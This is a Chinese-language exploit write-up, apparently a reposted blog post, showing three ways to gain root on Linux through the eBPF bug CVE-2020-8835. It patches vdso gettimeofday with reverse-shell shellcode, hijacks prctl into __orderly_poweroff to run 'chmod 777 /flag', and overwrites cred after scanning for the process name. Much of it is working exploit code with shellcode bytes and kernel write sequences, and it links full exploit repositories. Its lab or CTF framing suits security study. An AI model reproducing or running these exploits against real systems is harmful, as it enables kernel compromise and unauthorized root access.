|
原文链接:Rick提权:CVE-2020-8835下的几种另类提权尝试
前言看到两位大佬关于CVE-2020-8835的漏洞分析利用
https://xz.aliyun.com/t/7690
https://www.anquanke.com/post/id/203416
这两篇文章分别通过修改modprobe_path的值和通过init_pid_ns结构查找cred结构进而修改的方式进行提权,本文对漏洞利用进行新的尝试,通过任意读写漏洞,分别做到劫持vdso提权, 劫持prctl到__orderly_poweroff进行提权和根据comm查找cred结构体提权,其完整的代码和漏洞环境在文末给出
劫持vdso提权关于vdso的个人直白理解:一个物理页大小的空间,分别映射在了用户空间和内核空间,如图所示
 
其结构为elf格式,里边分别有5个系统调用, vdso所在的页,在内核态是可读、可写的,在用户态是可读、可执行的。我们可以通过这个特点,在内核空间对vdso进行修改,这样用户在用户态调用vdso的函数进行劫持
在用户态下查看用户空间的vdso地址
root@snappyjackPC:~# more /proc/self/maps | grep vdso7ffe700c4000-7ffe700c5000 r-xp 00000000 00:00 0 [vdso]
而对于vdso在内核空间的位置,我们可以通过特殊字段的识别,如”gettimeofday”字段,首先我们找到该字段对于elf文件的偏移
 
该程序读取用户空间vdso,并找到相对于gettimeofday的偏移,运行结果如下
/ $ ./dumpmorty [+]VDSO : 0x7fffc1bc6000[+]The offset of gettimeofday is : 2f8
在寻找内核空间vdso映射的地址,我们采用爆破的方法,其中vdso所在的位置范围为0xffff880000000000~0xffffc80000000000,并且vdso占用大小为一个完整物理页,我们可以在爆破范围内地址依次增加0x1000,并且加上字符串的偏移0x2f8,与” gettimeofday”进行对比,从而找到vdso在内核空间的映射
 
一旦我们确定了vdso地址,我们通过gdb对vdso进行dumpdump memory /home/dumpelf2 0xffffffff822c0000 0xffffffff822c1000,并通过ida查看其函数地址偏移
 
通过vdso地址和函数偏移,我们可以很容易得到函数在内核空间的地址.通过劫持gettimeofday函数,将其功能改为一段反弹shell的代码,另一个进程进行接收具有root权限的shell,从而完成提权.
其中shellcode从这里提供
https://gist.github.com/itsZN/1ab36391d1849f15b785
该shell代码向地址127.0.0.1:3333进行反弹shell.
将该汇编代码转换为shellcode,通过任意地址的4个字节的修改,添加到我们的程序中,如下
- exp_buf[0] = 0x31485390-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*0);//0xffffffff822c0730
- exp_buf[0] = 0x0f66b0c0-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*1);
- exp_buf[0] = 0xdb314805-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*2);
- exp_buf[0] = 0x75c33948-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*3);
- exp_buf[0] = 0xc031480f-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*4);
- exp_buf[0] = 0x050f39b0-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*5);
- exp_buf[0] = 0x48db3148-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*6);
- exp_buf[0] = 0x0974d839-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*7);
- exp_buf[0] = 0xc031485b-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*8);
- exp_buf[0] = 0x050f60b0-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*9);
- exp_buf[0] = 0xd23148c3-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*10);
- exp_buf[0] = 0x6a5e016a-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*11);
- exp_buf[0] = 0x296a5f02-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*12);
- exp_buf[0] = 0x48050f58-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*13);
- exp_buf[0] = 0xb9485097-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*14);
- exp_buf[0] = 0xfaf2fffd-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*15);
- exp_buf[0] = 0xfeffff80-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*16);
- exp_buf[0] = 0x51d1f748-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*17);
- exp_buf[0] = 0x6ae68948-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*18);
- exp_buf[0] = 0x2a6a5a10-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*19);
- exp_buf[0] = 0x48050f58-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*20);
- exp_buf[0] = 0x3948db31-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*21);
- exp_buf[0] = 0x480774d8-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*22);
- exp_buf[0] = 0xe7b0c031-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*23);
- exp_buf[0] = 0x6a90050f-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*24);
- exp_buf[0] = 0x216a5e03-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*25);
- exp_buf[0] = 0xceff4858-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*26);
- exp_buf[0] = 0xf675050f-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*27);
- exp_buf[0] = 0x50c03148-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*28);
- exp_buf[0] = 0x9dd0bb48-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*29);
- exp_buf[0] = 0x8cd09196-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*30);
- exp_buf[0] = 0xf748ff97-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*31);
- exp_buf[0] = 0x894853d3-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*32);
- exp_buf[0] = 0x485750e7-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*33);
- exp_buf[0] = 0x3148e689-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*34);
- exp_buf[0] = 0x0f3bb0d2-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*35);
- exp_buf[0] = 0xc0314805-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*36);
- exp_buf[0] = 0x050fe7b0-1;
- bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*37);
复制代码 为了验证是否劫持了用户空间的gettimeofday,我们采用如下程序打印用户空间的vdso中的gettimeofday函数的代码
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <sys/auxv.h>
- #include <sys/mman.h>
- int main(){
- int test;
- size_t result=0;
- unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
- result=memmem(sysinfo_ehdr,0x1000,"gettimeofday",12);
- printf("[+]VDSO : %p\n",sysinfo_ehdr);
- printf("[+]The offset of gettimeofday is : %x\n",result-sysinfo_ehdr);
- if (sysinfo_ehdr!=0){
- for (int i=0x730;i<0x830;i+=1){
- printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
- }
- }
- }
复制代码
其中0x730是gettimeofday函数地址偏移
运行exp前
 
运行exp之后
 
我们可以清楚的看到,用户空间调用的gettimeofday已经被我们劫持.而劫持后的代码正是我们在内核空间所修改的.
接下来是最后一步,也是最关键的一步,fork()一个新的子进程,并调用我们劫持的函数,而父进程3333端口进行监听,等待子进程的反弹shell,代码如下:
 
运行结果如下:
 
代码及运行环境见:
https://github.com/snappyJack/Ri ... 35/tree/master/vdso
劫持HijackPrctl除了劫持vdso,我们还可以利用劫持prctl函数使其最终运行到call_usermodehelper,并且自定义参数,达到在内核运行任意命令的目的,做到提权.
prctl函数流程分析
根据内核版本找到系统调用prctl的流程如下

我们看到prctl函数的参数原封不动的传到了security_task_prctl中,继续跟进,看到函数运行了hp->hook.task_prctl
 
分析完了prctl,接下来我们在/kernel/reboot.c中查看__orderly_poweroff函数
 
发现该函数的参数只有一个,且为布尔类型.最终运行了run_cmd(),而poweroff_cmd为全局变量
我们可以将hp->hook地址指向的值改为orderly_poweroff,将变量,poweroff_cmd改为我们想要执行的命令,这样我们运行prctl()就等同于运行__orderly_poweroff(any_command),而后者具有root权限
我们首先使用gdb或者more /proc/kallsyms命令查看函数地址
 
通过任意地址写,修改变量poweroff_cmd和hp->hook地址,然后调用prctl,进行触发.代码如下
- expbuf64[0] = 0x81090c90 -1;
- bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824b2240); // security_task_prctl 改为 orderly_poweroff
- expbuf64[0] = 0x6e69622f -1;
- bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0); //命令改为 chmod 777 /flag
- expbuf64[0] = 0x6d68632f -1;
- bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x4); //命令改为 chmod 777 /flag
- expbuf64[0] = 0x3720646f -1;
- bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x8); //命令改为 chmod 777 /flag
- expbuf64[0] = 0x2f203737 -1;
- bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0xc); //命令改为 chmod 777 /flag
- expbuf64[0] = 0x67616c66 -1;
- bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x10); //命令改为 chmod 777 /flag
- prctl(0,0); //调用劫持的prctl,相当于运行__orderly_poweroff(bool force),而全局变量poweroff_cmd = 'chmod 777 /flag'
复制代码
再次使用gdb下断,查看$rb0x18,发现地址已经修改为orderly_poweroff
 
同时查看全局变量,已经修改为我们想要的结果
 
此时查看flag读写权限,发现该文件的权限已通过root权限进行了修改
 
至此提权效果演示完毕,完整的代码和运行环境见
https://github.com/snappyJack/Ri ... master/hijack_prctl
根据comm查找cred结构相对于前两种”曲线”式的提权,查找cred结构进行提权显得比较直观,其原理就是在内核空间查找特定进程的cred结构体,
首先我们对comm字段进行设置
- char target[16];
- strcpy(target,"aaaaaaaa");
- prctl(PR_SET_NAME,target); //通过prctl设置字符串为aaaaaaaa
复制代码

通过爆破0xffff880000000000~0xffffc80000000000的地址,查找该字段,从而确定该线程的cred结构体,再利用任意地址读写,修改cred结构体,进行权限的提升.
我这里将代码稍作修改,查看comm字符串是否改变
- uint64_t task_struct, cred, current_task, comm;
- uint64_t per_cpu_offset = read_8byte(0xffffffff822c26c0);
- printf("per_cpu_offset: 0x%lx\n", per_cpu_offset);
- for(int i = 0; ; i++){
- current_task = read_8byte(per_cpu_offset + 0x17d00);
- comm = read_8byte(current_task + 0x648);
- if(comm == 0x6161616161616161){ //通过prctl设置的字符串判断位置
- printf("current_task: 0x%lx\n", current_task);
- task_struct = current_task;
- printf("[+] comm: 0x%lx\n", comm); // get comm to check
- hextostr(comm);
- break;
- }
- }
复制代码

运行代码,发现comm地址已经成功被我们改写,之后再通过偏移找到cred结构,将其修改进行权限提升
 
不成熟的小技巧
这里出现了一个问题,就是在任意地址读函数最终是执行bpf_map_get_info_by_fd()进行任意地址读取
 
而爆破的过程中势必会运行到内核地址未分配的情况,每当程序运行到这里,就会造成’unable to handle page fault’,引起内核crash.程序无法继续.这里有一个小技巧:
我们qemu中的程序由于内核crash无法运行,但是这对于宿主机却并不影响,我们可以使用gdb脚本的方式,将爆破的工作交给gdb,gdb将输出的结果进行保存,待我们将保存的结果分析,得出一个更加精准的目标范围时,修改程序爆破范围,避免其出现crash的情况.这里我们以爆破vdso地址为例:
首先将脚本保存在一个文件中
- root@snappyjackPC:/home/cve-repo/0x04-pwn2own-ebpf-jmp32-cve-2020-8835# more bbb
- target remote :1234
- x/s 0xffffffff80001000
- x/s 0xffffffff80002000
- x/s 0xffffffff80003000
- x/s 0xffffffff80004000
- x/s 0xffffffff80005000
- …
- …
- …
- x/s 0xffffffffffffb000
- x/s 0xffffffffffffc000
- x/s 0xffffffffffffd000
- x/s 0xffffffffffffe000
- x/s 0xfffffffffffff000
复制代码

将结果保存
gdb --batch --command=bbb > 8835_dump.txt
搜索ELF字段(vdso整页映射,具有elf结构)
 
根据搜索的结果便可缩小我们要爆破的范围,防止程序crash
代码及运行环境:
https://github.com/snappyJack/Rick_write_exp_CVE-2020-8835
|
|